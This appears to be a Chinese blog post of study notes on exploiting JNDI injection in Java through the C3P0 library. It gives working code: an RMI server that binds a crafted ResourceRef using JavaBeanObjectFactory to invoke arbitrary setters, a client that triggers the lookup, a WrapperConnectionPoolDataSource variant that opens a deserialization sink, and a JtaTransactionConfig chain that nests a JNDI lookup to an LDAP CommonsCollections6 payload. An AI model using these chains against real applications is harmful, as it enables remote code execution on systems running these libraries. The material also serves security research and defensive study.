前言
学习,类似Tomcat依赖环境下的利用方式,这次学习的是C3P0依赖环境下的利用方式,算是一种拓展攻击面吧。
类似Tomcat环境下的BeanFactory可以调用一个public方法,该环境中的JavaBeanObjectFactory可以调用setter。
此外还需要一个环境ibatis-sqlmap下面的JtaTransactionConfig类,用于嵌套多一层JNDI。
环境搭建
两个依赖:
<!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.10.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.ibatis/ibatis-sqlmap -->
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>
C3P0
回忆一下,本地Factory要满足的两个条件:
- 继承ObjectFactory
- 存在getObjectInstance方法
然后就可以调用它的getObjectInstance函数。
而C3P0JavaBeanObjectFactory继承自JavaBeanObjectFactory类,其getObjectInstance函数如下:
public Object getObjectInstance(Object refObj, Name name, Context nameCtx, Hashtable env)
throws Exception {
if (refObj instanceof Reference) {
Reference ref = (Reference) refObj;
Map refAddrsMap = new HashMap();
for (Enumeration e = ref.getAll(); e.hasMoreElements(); ) {
RefAddr addr = (RefAddr) e.nextElement();
refAddrsMap.put( addr.getType(), addr );
}
Class beanClass = Class.forName( ref.getClassName() );
Set refProps = null;
RefAddr refPropsRefAddr = (BinaryRefAddr) refAddrsMap.remove( JavaBeanReferenceMaker.REF_PROPS_KEY );
if ( refPropsRefAddr != null )
refProps = (Set) SerializableUtils.fromByteArray( (byte[]) refPropsRefAddr.getContent() );
Map propMap = createPropertyMap( beanClass, refAddrsMap );
return findBean( beanClass, propMap, refProps );
}
else
return null;
}
可以看到非常令人激动的函数名称findBean,这个getObjectInstance函数的逻辑看起来就是从ref对象里面取出类名和属性名,再进入findBean函数进行实例化和反射赋值。
再看看这个findBean函数:
protected Object findBean(Class beanClass, Map propertyMap, Set refProps ) throws Exception {
Object bean = createBlankInstance( beanClass );
BeanInfo bi = Introspector.getBeanInfo( bean.getClass() );
PropertyDescriptor[] pds = bi.getPropertyDescriptors();
for (int i = 0, len = pds.length; i < len; ++i) {
PropertyDescriptor pd = pds[i];
String propertyName = pd.getName();
Object value = propertyMap.get( propertyName );
Method setter = pd.getWriteMethod();
if (value != null) {
if (setter != null)
setter.invoke( bean, new Object[] { (value == NULL_TOKEN ? null : value) } );
else {
...
}
}
...
}
return bean;
}
可以看到createBlankInstance先创建了一个空白的对象:
protected Object createBlankInstance(Class beanClass) throws Exception
{ return beanClass.newInstance(); }
再调用setter,由于setter是按顺序调用的,因此可能导致利用的时候发生一些错误,比如参考文章里调用JdbcRowSetImpl的setter时就因为顺序问题导致发起JNDI连接失败。
发现ResourceRef类无法引入,看起来需要在pom.xml中引入一下Tomcat依赖:
<!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>10.1.39</version>
</dependency>
结果发现版本有问题,Tomcat10不能在Java8运行,只能删掉改成从磁盘上的Tomcat引入jar包了。
写一个Test.java用于测试setter调用:
package org.example;
public class Test {
private String data;
public void setData(String data) {
this.data = data;
System.out.println(data);
}
public String getData() {
return data;
}
}
搭建一下RMI服务端:
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;
public class App
{
public static void main( String[] args ) {
try {
Registry registry = LocateRegistry.createRegistry(8888);
ResourceRef resourceRef = c3p0();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("c3p0", referenceWrapper);
}catch (Exception e) {
e.printStackTrace();
}
System.out.println("Registry运行中......");
}
private static ResourceRef c3p0() throws IOException {
ResourceRef ref = new ResourceRef("org.example.Test",null,"","",true,
"com.mchange.v2.naming.JavaBeanObjectFactory",null);
ref.add(new StringRefAddr("data", "Hello, World!"));
return ref;
}
}
再启动客户端去连接,在实际应用中,这一步可以通过Fastjson反序列化、JNDI注入等方式来实现:
package org.example;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) {
try {
String string = "rmi://localhost:8888/c3p0";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}catch (Exception e) {
e.printStackTrace();
}
}
}
启动,看到setter正常触发了:
三月 13, 2025 10:08:28 上午 com.mchange.v2.log.MLog
信息: MLog clients using java 1.4+ standard logging.
三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory
警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: singleton
三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory
警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: auth
三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory
警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: scope
Hello, World!
通过C3P0依赖,可以按顺序调用setter,一般情况下不会有什么未初始化问题。
WrapperConnectionPoolDataSource
用于开启一个字节流反序列化点,不过JNDI使用LDAP好像就有反序列化功能了。
通过setUserOverridesAsString可以触发反序列化:
private static ResourceRef c3p0() throws IOException {
ResourceRef ref = new ResourceRef("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",null,"","",true,
"com.mchange.v2.naming.JavaBeanObjectFactory",null);
ref.add(new StringRefAddr("userOverridesAsString", "Hello, World!"));
return ref;
}
JtaTransactionConfig
用于嵌套多一层JNDI,应用面可能比较窄。
参考文章:
private static ResourceRef jndi() throws IOException {
ResourceRef ref = new ResourceRef("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", null, "", "", true, "com.mchange.v2.naming.JavaBeanObjectFactory", null);
Properties properties = new Properties();
properties.put("UserTransaction", "ldap://127.0.0.1:1389/deserialCommonsCollections6");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(properties);
byte [] bytes = byteArrayOutputStream.toByteArray();
ref.add(new BinaryRefAddr("properties", bytes));
return ref;
}
由于setProperties方法需要的参数properties类型为Properties,因此不能使用StringRefAddr,需要使用RefAddr的另一个实现类BinaryRefAddr。
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!